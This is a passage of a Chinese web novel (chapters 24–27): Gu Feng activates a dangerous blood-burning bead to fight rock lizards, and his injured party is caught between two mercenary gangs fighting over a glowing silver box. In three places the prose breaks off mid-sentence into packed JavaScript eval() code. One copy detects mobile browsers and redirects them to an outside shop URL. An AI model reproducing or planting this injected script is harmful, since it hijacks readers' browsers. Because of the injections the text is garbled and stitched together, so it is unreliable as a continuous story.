障碍外的啃咬声越来越近,岩蜥的嘶鸣近在咫尺。雷烬已经重新握紧了拐杖,林岚也捡起了铁钎,准备最后的搏杀。 他们没有催促顾风,但沉默中,是同样的疲惫和决绝。 “如果……如果有一种力量,能立刻撕开一条生路,但代价可能是透支未来,甚至变成怪物……”顾风的声音沙哑得如同砂纸摩擦,“你们……会怎么选?” 雷烬看了他一眼,目光落在他手中的“燃血珠”上,瞬间明白了他的想法。队长沉默了几秒,只说了两个字:“**活着**。” 林岚张了张嘴,想说什么关于副作用和风险的话,但看着即将被突破的障碍和同伴们伤痕累累的样子,最终,她也只是艰难地点了点头:“**小心**。” 顾风闭上了眼睛,深吸了一口潮湿冰冷的空气。脑海中闪过母亲病榻前的无力,第七病栋的冰冷,雷烬伸出的手,阿木最后的背影,林岚疲惫却坚持的眼神,小豆昏迷的脸,维生舱里沈青瓷苍白的面容和传递来的痛苦与恐惧…… 还有,那个天级魔修冰冷的“注视”,以及“原型体”舱体内那吞噬一切的黑暗。 **不!我不要那样!我不要在逃亡中耗尽最后一丝力气,我不要眼睁睁看着保护的人一个个倒下!我不要成为被评估、被清理的“样本”!我要力量!现在就要!** 决意,如同烧红的铁,烙入灵魂。 他猛地睁开眼,眼中再无迷茫和犹豫,只剩下近乎疯狂的决绝。他一把抓起那颗“燃血珠”,没有丝毫犹豫,按照林岚之前提到过的最粗暴直接的灵珠激发方式——**将灵珠紧紧握在掌心,用自身意志和能量(哪怕只剩一丝)强行冲击、引动其核心!** “呃——啊!!!” 就在灵珠能量被引动的瞬间,顾风发出一声不似人声的痛吼! 那不是温和的能量注入,而是仿佛将一整条燃烧的岩浆河流,狠狠灌入他干涸脆弱的经脉!狂暴炽烈的能量瞬间席卷全身,每一寸肌肉、每一根骨骼、每一个细胞都在尖叫!血液仿佛被点燃,在血管中奔腾咆哮,皮肤表面瞬间泛起不正常的潮红,青筋暴起,如同扭曲的蚯蚓。 但伴随着这极致痛苦的,是一种前所未有的、爆炸性的力量感! 疲惫一扫而空,伤痛被暂时压制,感官变得异常敏锐。他甚至能“听”到岩蜥心脏急速跳动的声音,能“看”到黑暗中气流微弱的扰动。手中的砍刀仿佛轻若无物。 更让他心悸的是,体内那原本因消耗而沉寂的影蚀能量,在这股狂暴炽烈的“燃血”能量刺激下,竟然也**沸腾**起来!冰冷的暗影与炽热的燃血之力,本应冲突,此刻却在他体内形成了一种极其不稳定、极其危险的**动态平衡**,或者说……**共生**? 他的影子,不再仅仅是漆黑,边缘处开始燃起一丝丝暗红色的、如同余烬般的流光! 障碍,在这一刻被彻底突破。数只岩蜥嘶叫着扑了进来! “死!” 顾风动了。 他的速度快得几乎拉出残影!不再是之前那种依靠技巧和意志的劈砍,而是纯粹力量与速度的碾压!燃烧着暗红流光的砍刀划出一道凄厉的弧线,扑在最前面的两只岩蜥甚至没来得及反应,就被凌空斩成两截!酸性血液喷洒,却被顾风体表那股无形炽热气浪稍稍荡开。 他冲入岩蜥群中,如同虎入羊群。每一刀都带着千钧之力,精准而狠辣。岩蜥厚实的甲皮在燃烧的刀锋和狂暴力量面前,如同纸糊。嘶鸣声、断裂声、撞击声瞬间响成一片。 雷烬和林岚都惊呆了。他们看着顾风如同化身修罗,在岩蜥群中左冲右突,所过之处,残肢断臂飞溅。那股从他身上散发出的、混合着炽热与阴冷的暴戾气息,让他们都感到一阵心悸。 这不是他们熟悉的顾风。这是被力量暂时支配的野兽。 但正是这头“野兽”,生生在岩蜥潮中撕开了一道口子! “跟紧他!”雷烬最先反应过来,低吼一声,撑着拐杖,护着林岚和小豆,紧跟在顾风杀出的血路后方。林岚咬牙背起小豆,努力跟上。 顾风感觉自己仿佛分裂成了两个部分。一部分在享受着这股碾压般的力量,享受着杀戮带来的短暂掌控感;另一部分则冷静得可怕,在疯狂计算着力量消耗、观察着岩蜥的攻击模式、寻找着最优的突围路径。 他发现,在这种“燃血”状态下,自己与影子的协调达到了一个诡异的峰值。影子不再仅仅是跟随或被动反应,而是能一定程度上“预判”他的动作,甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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通道前方,隐约看到了出口的微光,还有……更加开阔的空间,以及废弃机械的轮廓。 他们互相搀扶着,拖着维生舱,带着昏迷的顾风和小豆,踉跄地走出了狭窄的维修管道,踏入了一个新的、相对宽敞的废弃空间。 这里看起来像一个旧时代的**小型物资转运站或设备储藏间**。有一些废弃的推车、货架,角落里堆着些蒙尘的板条箱(大多空空如也)。最重要的是,这里有一个相对完好的金属楼梯,盘旋向上,通往一个关闭着的、厚重的金属舱门。空气虽然依旧陈腐,但明显比下面清新一些,有微弱的气流从上方缝隙渗入。 暂时,安全了?至少,岩蜥群没有追来。 他们将顾风小心地安置在一块相对干净、垫着破布的地方。林岚全力施为,用掉了一整颗绿色治疗珠和两颗蓄能珠,才勉强稳住了顾风体内狂暴的能量反噬和生命体征,让他从昏迷转为沉睡,但脸色依旧惨白,呼吸微弱。 雷烬也几乎到了极限,靠在货架上,喘息着处理自己新增的伤口。 林岚疲惫地坐下,看着昏迷的顾风和小豆,看着维生舱里依旧沉睡的沈青瓷,又看了看手中所剩无几的灵珠,一股深沉的无力感涌上心头。 顾风赌赢了。他用几乎自毁的方式,换来了队伍暂时的生路。 但他付出的代价,可能比想象中更加惨重。燃血珠的力量与他体内的影蚀产生了难以预料的交互,未来会如何?他的身体能否恢复?那股暴戾的气息是否会影响他的心智? 而且,他们仍未脱离险境。头上的舱门后是什么?能打开吗?外面又是什么? 林岚的目光,落在那些蒙尘的板条箱上。她挣扎着起身,走过去,用铁钎撬开一个。 里面不是物资,而是一些散落的、泛黄的纸质文件和几个生锈的工具。她随手拿起一份文件,灰尘扑簌簌落下。 文件抬头,一行模糊的字迹映入眼帘: **【绿洲项目·第三区·深层地质勘探简报(节选)】** **【……‘深潜通道’试点工程,于Site-γ附近探测到异常灵能富集及稳定空间褶皱,疑似具备直接观测‘源场’次级波形的条件……建议进一步勘探……】** **【附件:Site-γ结构简图(局部)】** 简图虽然粗糙,但林岚一眼就认出了上面标注的几个关键结构:他们刚刚经过的水泵站、这个转运站、还有……头顶那个舱门标注为“**γ区应急出口/竖井维护入口**”。 而简图上,一条虚线从“γ区”向下延伸,指向一个用红色粗线标记的区域,旁边标注着:**“深潜通道(未完工)疑似入口区域。”** 深潜通道! 沈墨笔记中提到的,可能通往“源初灵能”或“规则碎片”的禁忌之地! 入口,竟然可能就在他们头顶舱门之上,或者……更深处? 林岚的心脏,剧烈地跳动起来。 希望与更深的危险,再次以这种方式,突兀地摆在了濒临绝境的他们面前。 顾风在沉睡中,眉头紧蹙,仿佛正在与体内的炽热与冰冷搏斗。他的影子,在治疗珠微弱的绿光映照下,似乎比之前更加凝实,那边缘暗红色的余烬流光,并未完全熄灭,如同烙印,刻入了影子的本质。 25. 薪火传薪 顾风坠入了无边的黑暗与混乱。 意识时而沉入冰冷的深海,被无数影子的触须缠绕拖拽,拖向那个银灰色舱体中吞噬一切的黑暗原型;时而又被抛入沸腾的熔岩,燃血珠残留的暴烈能量在经脉里左冲右突,烧灼着他的理智。冰冷的影蚀与炽热的燃血余烬在他体内交战、撕扯,将他的身体作为战场。 在混沌的深处,他“看”到了。 不是眼睛看到的景象,而是直接烙印在感知里的“痕迹”。 一条黯淡的、却无比坚韧的银色细线,从他意识的某处延伸出去,另一端连接着一个微弱却清冽的“光点”。那是沈青瓷。她的精神场在紫色灵珠和清心珠的双重保护下,如同风暴中摇曳的烛火,却顽强地没有熄灭。此刻,这条链接正传来持续而微弱的清凉感,如同涓涓细流,试图浇灭他体内熊熊燃烧的混乱之火。 另一边,是更加晦暗、沉重、如同枷锁般的黑色锁链,紧紧捆缚着他的灵魂核心——那是与自身影子的共生,此刻却因为燃血能量的刺激而变得异常活跃和……“饥饿”。锁链的另一端,仿佛没入无尽的虚空,连接着某个遥远而冰冷的源头(原型体?影源场?)。他能感觉到,有一股极其微弱的、冰冷的信息流,正顺着这条锁链逆向流淌过来,不是意识,更像是一种本能的“程式”或“印记”的同步。 而在更远、更高的地方,仿佛隔着一层厚重的毛玻璃,有一双幽蓝的、毫无感情的“眼睛”,偶尔会向这个方向投来一瞥。那目光如同实质的冰锥,每一次扫过,都让他灵魂战栗,也让体内交战的两股力量出现片刻的凝滞。 他想嘶吼,想挣扎,却发不出声音,动不了分毫。只能被动地承受着这一切,感受着自己如同被钉在标本台上的蝴蝶,被不同的力量观察、分析、甚至……“喂养”。 …… 不知过了多久,一阵清凉的抚慰感,如同甘霖般渗入他灼痛的意识。那不是沈青瓷链接传来的清凉,而是更加熟悉、更加温和的能量——**绿色治疗珠**的精纯生命力,以及**清心珠**的一丝宁静余韵。同时,一股相对温和的深蓝色能量(蓄能珠)也在缓缓滋润他干涸的细胞。 是林岚。 顾风用尽全部意志,顺着这股外来的援助,一点点将自己的意识从混乱的泥潭中向上拔升。 黑暗褪去,混乱的幻象逐渐模糊。 首先恢复的是听觉。耳边不再是影子的嘶吼和燃血的咆哮,而是低沉的、压抑的咳嗽声(雷烬),和衣物窸窣、金属轻微碰撞的声音(林岚在忙碌)。 然后,嗅觉回归。依旧是地下空间特有的潮湿、锈蚀和陈腐气味,但似乎还多了一丝……淡淡的、植物燃烧后的焦糊味?是他自己身上残留的燃血气息吗? 最后,沉重的眼皮微微颤动,一线模糊的光影投入视野。 他躺在地上,身下垫着些破布和衣物。视线朦胧中,看到了林岚疲惫而担忧的脸庞,她正将最后一点绿色微光从一颗近乎透明的灵珠残骸上引导出来,按在他的心口。 “醒了?”林岚的声音沙哑,带着如释重负,“别动,你的身体……” 顾风想开口,喉咙却只发出嗬嗬的干涩声响,火烧般疼痛。 林岚立刻将一个小水壶凑到他唇边,小心地喂了几口冰冷的水。甘冽的液体滋润了干涸的喉咙和嘴唇,也让他混沌的意识清醒了一些。 他尝试移动手指,一阵钻心的酸痛和无力感传来,仿佛这身体已经不属于他。但至少,他能感觉到身体的存在,而不是之前那种灵魂与□□分离的恐怖体验。 他转动眼珠,看向四周。 这是一个堆满废弃货架和板条箱的昏暗空间,唯一的光源来自林岚放在旁边的一个老式应急灯(似乎是刚找到的,光线稳定但昏黄)。雷烬靠坐在不远处的货架旁,闭目养神,脸色依旧苍白,但呼吸平稳了些,身上新增的伤口已经简单处理过。小豆躺在更里面的角落,盖着保温毯,依旧沉睡,但脸色比之前红润了不少,清心珠的效果显著。 维生舱停放在他触手可及的地方,沈青瓷安静地躺在里面,舱体屏幕上各项指标维持在黄色与浅绿色之间,紫色灵珠的光芒稳定脉动。当他目光落在她脸上时,脑海中那条银色的链接微微波动,传来一丝带着疲惫的安心感。她也感知到他的苏醒。 “我们……安全了?”顾风终于找回了自己的声音,微弱而嘶哑。 “暂时。”林岚收起空了的灵珠残骸,神色凝重,“这里是个旧转运站,我们暂时堵住了来时的维修管道口,岩蜥没有追进来。但是,”她指了指头顶,“唯一的出路是那个舱门,锈死了,而且外面情况不明。另外……”她将那份找到的泛黄文件递给顾风,“我们可能……找到了更麻烦的东西。” 顾风艰难地抬起还能动的那只手,接过文件。昏黄的灯光下,他快速浏览了那份关于“深潜通道”和“Site-γ”的简报节选。 深潜通道。疑似入口就在附近。 他的心脏猛地一缩。不是因为恐惧,而是因为一种近乎本能的……**悸动**。 体内那沉寂下去的影蚀能量,在读到“源场次级波形”、“直接观测”这些字眼时,竟然自发地、微弱地**共振**了一下。不是之前那种被吸引的渴望,更像是一种“确认”或“指向”。 仿佛他灵魂深处那把黑色的枷锁,另一端连接的地方,就在这简报所描述的某处。 “你怎么想?”雷烬不知何时睁开了眼睛,看向顾风,目光深邃。他没有问顾风的身体状况,直接跳到了最关键的问题。这位队长很清楚,经历了刚才那种搏命爆发后,顾风的心态和抉择,将决定队伍接下来的走向。 顾风沉默着,感受着自己残破身躯里传来的每一下刺痛,感受着影蚀那冰冷的脉动,感受着脑海中沈青瓷传来的微弱链接,也感受着那份简报带来的沉重吸引力。 变强……不再是遥远的念头,而是刻在骨头里的生存本能。但代价呢?燃血珠的体验告诉他,力量伴随着疯狂和自毁。深潜通道,听起来比地热熔炉关卡和“影痕储藏室”更加接近核心,也更加危险。 然而,他们有选择吗? 天级魔修已经投下目光。沈青瓷的状态需要根本性的解决。小豆需要更安全的恢复环境。雷烬的旧伤和新伤需要更好的治疗。他们自己,也需要在下次危机到来前,拥有足以周旋甚至反抗的力量。 “我们需要出去,”顾风缓缓开口,声音依旧虚弱,却带着一种不容置疑的决断,“但不是盲目的出去。上面那个舱门,可能是出口,也可能是另一个陷阱。在决定走哪条路之前,我们必须知道更多。” 他看向林岚:“文件里提到的‘Site-γ结构简图(局部)’,能找到更完整的吗?或者,这个转运站里,还有其他线索吗?” 林岚点头:“我刚才简单翻找过。大部分箱子是空的,有些装着报废的零件。但在那边角落,”她指向转运站更深处一个半塌的货架后面,“有一个锁着的金属文件柜,看起来比较坚固。可能需要撬开。” “还有,”她补充道,指了指自己之前用来撬箱子的短铁钎,“这附近散落着一些旧工具,虽然锈了,但也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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同时,他发现自己对周围“影”的感知,范围扩大了一丝,也更加精细。他能隐约“感觉”到货架投下的阴影轮廓,能察觉到远处墙角一片更浓的黑暗区域(可能只是杂物堆积),甚至能模糊捕捉到林岚在货架后动作时,光线变化产生的细微“影痕”。 这不是战斗力的直接提升,更像是一种感知层面的进化。 就在他专注于内视时,脑海中沈青瓷的链接,忽然传来一阵轻微的、带着困惑和一丝焦急的波动。 【**顾……风……外面……有‘声音’……**】 声音?顾风立刻警觉,看向转运站入口方向(他们堵住维修管道的地方)。一片寂静,只有林岚撬锁的声响。 【**不是……那里……是……上面……**】沈青瓷的意念断断续续,指向头顶的舱门。 顾风凝神,调动起刚刚增强的影蚀感知,混合着沈青瓷传来的那丝清凉灵觉,如同无形的触角,小心翼翼地向头顶舱门的方向探去。 起初,只有金属的冰冷和锈蚀的粗糙感。 但渐渐地,他捕捉到了。 极其微弱,断断续续,仿佛隔着很厚的障碍。不是人类的声音,也不是岩蜥的嘶鸣。更像是……**金属摩擦的规律声响**,以及一种低沉的、仿佛大型机械运转时的**嗡鸣**,还有……**模糊的、意义不明的无线电杂音**? 上面有东西在活动!而且不是自然生物,更像是……机械?或者,有人? “林岚!队长!”顾风低声道,声音带着急切,“上面……舱门外有动静!像是机械活动的声音!” 撬锁声戛然而止。林岚和雷烬的脸色同时一变。 就在这时—— “咔嚓!” 一声清脆的金属断裂声,文件柜的锁被林岚撬开了。 几乎同时,头顶的舱门外,那模糊的机械嗡鸣声,似乎停顿了一下。 紧接着,一阵更加清晰的、像是重型阀门转动或金属平台移动的“嘎吱”声,从上方传来,越来越近! 有什么东西,正在从外面,试图打开或者接近这个舱门! 26. 珠光血影 文件柜锁头崩裂的声音,与头顶舱门外骤然加剧的金属摩擦声,在狭小的转运站内交织成刺耳的警报。 “隐蔽!”雷烬低吼,一把抄起靠在货架上的钢筋拐杖,动作牵扯到伤口,让他闷哼一声,但眼神锐利如鹰。他示意林岚立刻熄灭应急灯。 林岚反应极快,瞬间关掉灯光,同时将刚撬开的文件柜门轻轻合拢,避免发出更大声响。昏暗瞬间笼罩,只有从破损管道缝隙渗入的、不知来源的微弱荧光,勉强勾勒出物体的轮廓。空气仿佛凝固,只剩下几人压抑的呼吸和心跳。 顾风咬紧牙关,强行压下身体的剧痛和虚弱,一点点向旁边一个倒伏的货架阴影处挪动。每移动一寸,都感觉骨头在摩擦,经脉在抽搐。沈青瓷的链接传来清晰的紧张和担忧,但他只能通过意念传递一个“安静”的信号。维生舱被林岚和雷烬之前推到了一个巨大的金属箱体后面,暂时隐蔽。 头顶的动静越来越大。那金属摩擦声变成了清晰的、有节奏的“咚……咚……”撞击声,仿佛有什么沉重的东西在敲打舱门外侧。同时,先前模糊的无线电杂音也变得清晰可辨,夹杂着断续的人声: “……吱……沙……能量读数……确……认……就在这……下面……” “……沙……快点……‘血瞳’那帮杂碎……可能也闻……到味了……” “……别废话……撬开它……这可是……丙级灵珠……的波动……够我们……潇洒……好一阵……” 丙级灵珠! 这个词像一道闪电,劈入顾风混沌的意识。丙级!比他们之前获得的丁级灵珠(淡蓝、深蓝)品质更高,功效更强!他们手里的绿色治疗珠、银白清心珠、紫色调和珠,都属于丙级范畴,每一颗都无比珍贵。而现在,头顶那些人,竟然探测到了这里有丙级灵珠的波动?是这个转运站里还藏有未被发现的灵珠?还是……他们之前获得的灵珠(尤其是那颗紫色调和珠和燃血珠)散发出的能量残余被探测到了? 可能性更大的是前者。这个转运站曾是“绿洲”项目的物资节点,储存或转运过灵珠并不奇怪。 “咚!咔嚓!” 一声巨响,伴随着金属断裂的刺耳噪音。头顶的舱门似乎被暴力撬开了!一道远比室内昏暗光线刺目的、带着尘埃的光柱,从上方斜斜射入,照亮了漂浮的灰尘。紧接着,几道粗壮的身影顺着金属楼梯,迅速攀爬而下,沉重的靴子踩在锈蚀的楼梯上,发出咚咚闷响。 顾风屏住呼吸,将身体完全缩进阴影,调动起刚刚有所增强的影蚀感知。他能“感觉”到,下来了四个人。体型魁梧,动作矫健,带着明显的煞气和久经战斗的警觉。他们手中持有武器——粗陋但实用的□□、改造过的步枪,还有一人背着一把闪烁着微弱能量光泽的长柄武器。装备比“拾荒狗”和“秃鹫”那伙人精良得多。 为首的是一个光头壮汉,脸上有一道狰狞的伤疤从左眼角划到下巴,他手里拿着一个巴掌大小、屏幕闪烁的便携式探测器,正低头查看。探测器发出“滴滴”的轻响,屏幕上的光点指向转运站深处。 “波动源就在里面!分散找!小心点,这鬼地方说不定有残留的防御机关或者‘小可爱’!”疤脸壮汉的声音粗嘎,带着不容置疑的命令口吻。 另外三人应了一声,两人持枪警戒,一人跟着疤脸壮汉,开始小心翼翼地在堆满杂物的转运站内搜索。他们的动作专业而高效,显然不是普通的掠夺者,更像是训练有素的……佣兵?或者某个大型庇护所的精英搜刮队。 顾风的心沉了下去。这四个人,任何一个在全盛时期的他面前或许都有一战之力,但现在他们状态极差,雷烬重伤,他自己几乎瘫痪,林岚不擅正面战斗,还有两个昏迷/半昏迷的需要保护。硬拼,死路一条。 只能希望他们找到想要的东西后立刻离开。 然而,事情的发展往往事与愿违。 “头儿!这边!”一个在货架区域搜索的佣兵突然低声喊道,声音里带着压抑的兴奋。他蹲在一个角落,手里拿着一个锈蚀严重、但依稀能看出原本是金属箱的东西。箱子似乎被暴力撬开过,里面空空如也,但箱子底部残留着一些细微的、闪烁着淡蓝色和绿色微光的晶体碎屑。 是灵珠碎屑!而且看颜色,至少是丁级上品甚至丙级下品灵珠残留的! 疤脸壮汉立刻冲过去,接过箱子仔细查看,又用探测器贴近碎屑。“能量残留吻合!但灵珠不见了!被人捷足先登了?还是藏起来了?”他脸色阴沉,目光如电般扫视四周,手中的探测器调整了模式,开始进行更精细的生命体征和热源扫描。 “滴……滴……” 探测器的警报声再次响起,这次指向了两个方向——一个是顾风他们隐藏的货架区域(生命热量),另一个,则是那个被林岚撬开、尚未查看的文件柜! “有人!”疤脸壮汉厉喝,瞬间举枪,“出来!不然开枪了!” 另外三名佣兵也立刻调转枪口,指向货架阴影和文件柜。 暴露了! 顾风脑海中瞬间闪过无数念头。谈判?交出灵珠?他们根本没有多余的灵珠可交,维生舱里的紫色调和珠和沈青瓷是绝对不能放弃的。拼命?毫无胜算。 就在这千钧一发之际,转运站入口方向——他们之前堵住的维修管道口——突然传来“轰隆”一声巨响!堵在那里的氧气瓶和岩蜥尸体被一股巨力从外面撞开! 烟尘弥漫中,数道穿着暗红色皮质护甲、脸上涂抹着诡异血色眼影的身影,如同鬼魅般冲了进来!他们动作迅捷无声,手中武器各异,有弯刀、短弩,还有两人端着造型奇特、枪口闪烁着暗红能量的枪械。 “血瞳商团!”疤脸壮汉瞳孔骤缩,失声喊道,语气中充满了忌惮和愤怒,“你们这些吸血的鬣狗,消息倒是灵通!” “疤狼,好东西见者有份,何况是我们先盯上的。”血瞳队伍中,一个身形高瘦、眼神阴鸷如同毒蛇的男人走了出来,他脸上涂着最醒目的血色竖瞳纹路,声音尖细而冰冷,“把灵珠交出来,或许可以留你们全尸。” “放屁!”被称为疤狼的壮汉怒吼,“就凭你们这几条杂鱼?兄弟们,干掉他们!” 没有任何多余的废话,两伙人几乎在照面的瞬间就爆发了激烈交火! 枪声、弩箭破空声、能量武器发射的滋滋声瞬间充斥了整个转运站!流弹打在金属货架、墙壁上,溅起刺目的火星和跳弹。爆炸的火光和能量束照亮了昏暗的空间,也将原本隐藏的顾风他们,暴露在了战场的边缘! “该死!”雷烬骂了一声,猛地将旁边一个空铁皮桶拽倒,挡在身前作为临时掩体。林岚则扑到维生舱旁,用身体护住舱体。顾风蜷缩在阴影里,眼睁睁看着一道灼热的能量束擦着他头顶飞过,将身后的货架熔出一个大洞。 混乱!绝对的混乱! 两伙人显然积怨已久,此刻为了可能存在的“丙级灵珠”,更是杀红了眼。他们一边互相射击,一边不忘朝着文件柜和货架区域逼近,显然都认为灵珠藏在那里。 疤狼佣兵团装备更制式化,火力凶猛,但血瞳商团的人更诡异,身法灵活,武器附带特殊效果(腐蚀、迟滞),而且配合默契,往往能从意想不到的角度发起攻击。 一个血瞳成员趁机翻滚靠近文件柜,手中弯刀挥向柜锁。疤狼那边立刻有人调转枪口扫射,逼得他不得不后退。 另一个疤狼佣兵则试图冲进货架区搜索,却被血瞳的弩箭逼退,弩箭钉在他刚才站立的地面,箭杆上幽绿的光芒显示淬了剧毒。 战斗迅速白热化,不断有人受伤、倒下。惨叫声、怒吼声、武器碰撞声不绝于耳。灵珠的诱惑,让这些人彻底疯狂,完全无视了潜在的危险和可能存在的第三方。 顾风在枪林弹雨中,大脑飞速运转。这是一个机会!趁着两伙人狗咬狗,他们或许能…… “砰!” 一声格外响亮的枪声响起,来自血瞳那个阴鸷头领手中的暗红能量枪。这一枪没有射向疤狼,而是射向了文件柜旁边的一根承重管道! 管道应声断裂,高压的、不知积存了多久的锈水混合着蒸汽猛然喷发!炽热的水汽和锈渣如同霰弹般四散射开,瞬间笼罩了文件柜附近区域! “啊!我的眼睛!” “小心!是锈蚀蒸汽!” 惨叫声中,靠近文件柜的几名佣兵和血瞳成员猝不及防,被高温锈水烫伤,吸入蒸汽更是引起剧烈咳嗽,战斗力大减。 混乱进一步升级! 阴鸷头领趁机一个箭步冲向文件柜,手中弯刀狠狠劈向柜门! “咔嚓!” 柜门被劈开,里面并非预想中码放整齐的灵珠盒,而是一叠叠泛黄的文件,几个老旧的存储设备,以及……一个巴掌大小、密封严实的**银色金属盒**,盒子上没有任何标识,但材质看起来极其特殊,在昏暗光线下流转着淡淡的、内敛的能量光泽。 阴鸷头领眼睛一亮,伸手就去抓那银盒。 “休想!”疤狼怒吼,不顾蒸汽灼伤,猛地扑过来,□□枪口几乎顶到阴鸷头领后背! 阴鸷头领似乎背后长眼,身体诡异一扭,险险避开要害,□□的钢珠大部分打在他肩膀上,爆开一团血花,但他也反手一刀,狠狠刺入疤狼肋下! 两人同时惨叫,滚倒在地,却都死死盯着那个从文件柜里跌落的银色金属盒! 盒子在地上滚了几圈,停在了货架区和空旷地带的交界处,离顾风隐藏的位置,不过五六米! 时间仿佛在这一刻凝固。 交战双方的幸存者(还剩疤狼、阴鸷头领和各自的两三个手下)都停下了动作,目光死死盯住那个银色盒子。沉重的呼吸声和伤员的呻吟成为主调。 灵珠!那里面一定是灵珠!而且是能让这两支经验丰富的队伍如此拼命的、品质极高的灵珠! 顾风的心跳如擂鼓。他能感觉到,那银色盒子散发出的能量波动极其隐晦,但却带着一种难以言喻的“纯净”和“厚重”感。绝对不是普通的丙级灵珠!甚至可能是……乙级? 这个念头让他口干舌燥。 “盒子……是我的!”疤狼捂着流血的肋部,挣扎着想要爬起。 “做梦!”阴鸷头领肩膀血肉模糊,却用弯刀支撑着身体,摇摇晃晃站起。 他们的手下也互相虎视眈眈,枪口、刀锋指向对方,也若有若无地指向那个银色盒子。谁先动,立刻就会成为众矢之的。 僵持。 空气紧绷得如同拉到极致的弓弦。 就在这死寂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081244|195322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的瞬间,异变再生! 转运站深处的黑暗中,突然传来一声低沉而暴虐的嘶吼!紧接着,地面传来轻微的震动,仿佛有什么庞然大物正在快速接近! “是岩蜥群!刚才的爆炸和枪声……把更多的引来了!”林岚脸色惨白,低声道。 仿佛是为了印证她的话,维修管道口和上方刚刚被撬开的舱门口,同时传来了密集的、令人头皮发麻的窸窣声和嘶鸣!更多的绿色眼睛在黑暗中亮起! “妈的!”疤狼和阴鸷头领几乎同时咒骂。他们不怕人类对手,但对这种数量不明、悍不畏死的地下生物潮,同样充满忌惮。 然而,对灵珠的贪婪压过了对怪物的恐惧。两人对视一眼,竟然在这一刻达成了短暂的、心照不宣的默契——先抢盒子,再考虑对付岩蜥! “抢!” 疤狼暴喝一声,忍着剧痛扑向银盒!阴鸷头领也如同离弦之箭射出! 他们的手下也动了,一边向对方射击阻拦,一边冲向盒子。 顾风的眼中,闪过一丝决绝。 不能再等了!岩蜥群转瞬即至,一旦被包围,所有人都得死!而这个银色盒子,可能是他们绝境中唯一的希望,也可能是催命符。 他看了一眼近在咫尺的银盒,又看了一眼严阵以待、伤痕累累的雷烬和林岚,看了一眼维生舱里脆弱的沈青瓷和昏迷的小豆。 拼了! 他体内那融合了燃血余烬的影蚀能量,在绝境和强烈意念的刺激下,猛然沸腾!一股远超他当前身体负荷的力量,强行从骨髓深处榨取出来! “呃啊——!” 顾风发出一声压抑的痛吼,身体如同猎豹般从阴影中弹出!不是冲向银盒,而是冲向银盒旁边一个倒下的金属货架! 他用尽全身力气,狠狠一脚踹在货架的横杆上! “轰隆!” 沉重的货架倒下,恰好砸在银盒前方,溅起大片灰尘,也暂时阻挡了疤狼和阴鸷头领的视线和路径! “什么人?!” “还有老鼠?!” 两声惊怒交加的吼声同时响起。 顾风没有停留,在货架倒下的瞬间,他已经如同鬼魅般(借助影蚀对阴影的短暂亲和)滑向侧面,手中的砍刀(不知何时被他抓在手里)划出一道刁钻的弧线,不是砍人,而是砍向连接着上方破损管道、垂落下来的一根粗大电缆! “滋啦——!” 电火花爆闪!断裂的电缆如同垂死的蟒蛇般抽打在地面,溅起更多火星,暂时逼退了靠近的血瞳成员。 这一切发生在电光石火之间! 趁着这短暂的混乱和阻挡,顾风的目标无比清晰——不是抢盒子,而是**制造更大的混乱,让所有人都拿不到盒子,同时为队伍创造逃脱的机会**! “林岚!队长!带着青瓷和小豆,从舱门上去!快!”顾风嘶声吼道,同时将一颗之前林岚塞给他防身的、仅存的**深蓝色蓄能珠**狠狠捏碎! 精纯但狂暴的能量瞬间涌入他残破的身体,带来短暂的力量爆发和更剧烈的痛苦。他转身,面向从维修管道口汹涌而入的岩蜥群,以及从舱门口攀爬而下的更多岩蜥,眼中燃烧着疯狂的火焰。 他要断后! 像阿木那样! “顾风!”林岚目眦欲裂。 “走!”雷烬的吼声如同受伤的雄狮,他一把抓住林岚的胳膊,用尽力气将她推向金属楼梯,同时自己拖起维生舱的拉杆,向着楼梯口冲去。他知道,此刻犹豫,所有人都会死在这里。顾风用命换来的机会,不能浪费! 疤狼和阴鸷头领也反应了过来,他们顾不上互相厮杀,也顾不上那个被货架暂时压住的银盒了。岩蜥群已经近在眼前!求生的本能压倒了一切。 “撤!从上面撤!”疤狼招呼手下。 “走!”阴鸷头领也厉声命令。 两伙残兵败将,连同突然杀出的顾风,此刻面对共同的、更加恐怖的威胁,暂时形成了诡异的“同盟”——各自逃命! 顾风挥舞着砍刀,燃烧着最后的生命力和灵珠能量,堵在维修管道口,疯狂劈砍着最先涌入的几只岩蜥。他的影子在身后疯狂舞动,边缘的暗红余烬炽烈燃烧,散发出一种令岩蜥也感到不安的阴冷灼热气息,略微延缓了它们的攻势。 但他的身体,已经到了崩溃的边缘。每一刀挥出,都感觉肌肉在撕裂,骨骼在哀鸣。视线开始模糊,耳中嗡嗡作响。 他看到了雷烬和林岚艰难地将维生舱拖上楼梯,看到了疤狼和阴鸷头领带着手下狼狈地向上攀爬,也看到了更多的岩蜥绕过他,扑向那个倒下的货架和下面的银盒…… 就在他意识即将沉入黑暗的最后一刻,他眼角的余光,似乎瞥见,那个被货架压住的银色金属盒,在岩蜥的撕咬和撞击下,盒盖……**松动了一条缝隙**。 一缕无法用颜色形容的、仿佛汇聚了纯粹“光”与“暗”、却又和谐统一的**温润流光**,从缝隙中悄然溢出。 仅仅是一缕,顾风残破的感知中,却仿佛听到了**宇宙初开般的嗡鸣**,感受到了**生命本源般的悸动**。 那是……什么等级的灵珠? 这个念头,伴随着无尽的黑暗,彻底吞噬了他。 27. 心渊回响 黑暗,并非全然虚无。 